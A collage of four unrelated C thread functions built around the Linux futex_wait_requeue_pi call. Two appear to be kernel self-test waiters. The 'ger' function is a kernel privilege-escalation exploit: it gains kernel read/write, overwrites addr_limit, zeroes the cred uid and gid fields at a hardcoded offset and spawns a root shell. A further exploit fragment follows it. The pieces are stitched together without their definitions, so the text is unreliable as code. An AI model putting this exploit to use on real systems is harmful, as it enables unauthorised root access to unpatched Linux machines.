void *waiterfn(void *arg) { struct thread_arg *args = (struct thread_arg *)arg; futex_t old_val; info("Waiter %ld: running\n", args->id); /* Each thread sleeps for a different amount of time * This is to avoid races, because we don't lock the * external mutex here */ usleep(1000 * (long)args->id); old_val = f1; atomic_inc(&waiters_blocked); info("Calling futex_wait_requeue_pi: %p (%u) -> %p\n", &f1, f1, &f2); args->ret = futex_wait_requeue_pi(&f1, old_val, &f2, args->timeout, FUTEX_PRIVATE_FLAG); info("waiter %ld woke with %d %s\n", args->id, args->ret, args->ret < 0 ? strerror(errno) : ""); atomic_inc(&waiters_woken); if (args->ret < 0) { if (args->timeout && errno == ETIMEDOUT) args->ret = 0; else { args->ret = RET_ERROR; error("futex_wait_requeue_pi\n", errno); } futex_lock_pi(&f2, NULL, 0, FUTEX_PRIVATE_FLAG); } futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG); info("Waiter %ld: exiting with %d\n", args->id, args->ret); pthread_exit((void *)&args->ret); }
void *ger(void *arg){ int sem_id; void *task_struct,*cred; char buf[256]; const char new_addr_limit[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; const char new_egideuid[] = {0,0,0,0}; printf("ger thread\n"); int fd = open("/dev/null", O_RDWR); setpriority(PRIO_PROCESS , 0, *(int*)arg); if ((sem_id = semget(IPC_PRIVATE,(WAITER_OVERWRITE_SIZE+WAITER_OVERWRITE_OFFSET)/2,IPC_CREAT | 0660)) < 0){ perror("semget"); } // don't call anything else to prevent tainting rt_waiter futex_wait_requeue_pi(&srcfutex, 0, &destfutex, NULL, 0); semctl(sem_id,-1,SETALL,sem_values); while(!proceed_to_overwrite); proceed_to_overwrite = 0; semctl(sem_id,-1,SETALL,sem_values); while(!proceed_to_overwrite); proceed_to_overwrite = 0; while(write(fd, (void*)(tbase+24), 8) < 0){ printf("no kernel r/w\n"); sleep(1); } printf("has kernel r/w!\n"); write_kern((void*)(tbase+32), (void *)&new_addr_limit, 8); futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); // dummy call to trigger breakpoint read_kern((void*)(tbase), (void *)&task_struct, 8); printf("task_struct: %p\n",task_struct); read_kern((void *)(task_struct+0x598), (void*)&cred, 8); printf("cred: %p\n",cred); futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); write_kern((void *)(cred+20), (void*)&new_egideuid, 4); write_kern((void *)(cred+24), (void*)&new_egideuid, 4); futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); if(geteuid() != 0) printf("not root :(\n"); sprintf(buf,"sh -c \"echo success %d > offset.txt && chmod 777 offset.txt && sh \"",WAITER_OVERWRITE_OFFSET); system(buf); printf("ger function exiting\n"); return NULL; }
void *thread(void *arg) { thread_tid = gettid(); printf("[2]\n"); userlock_wait(&invoke_futex_wait_requeue_pi); futex_wait_requeue_pi(&A, &B); printf("Someone woke me up\n"); while (1) { sleep(1); } }
void *waiterfn(void *arg) { unsigned int old_val; int res; waiter_ret = RET_PASS; info("Waiter running\n"); info("Calling FUTEX_LOCK_PI on f2=%x @ %p\n", f2, &f2); old_val = f1; res = futex_wait_requeue_pi(&f1, old_val, &(f2), NULL, FUTEX_PRIVATE_FLAG); if (!requeued.val || errno != EWOULDBLOCK) { fail("unexpected return from futex_wait_requeue_pi: %d (%s)\n", res, strerror(errno)); info("w2:futex: %x\n", f2); if (!res) futex_unlock_pi(&f2, FUTEX_PRIVATE_FLAG); waiter_ret = RET_FAIL; } info("Waiter exiting with %d\n", waiter_ret); pthread_exit(NULL); }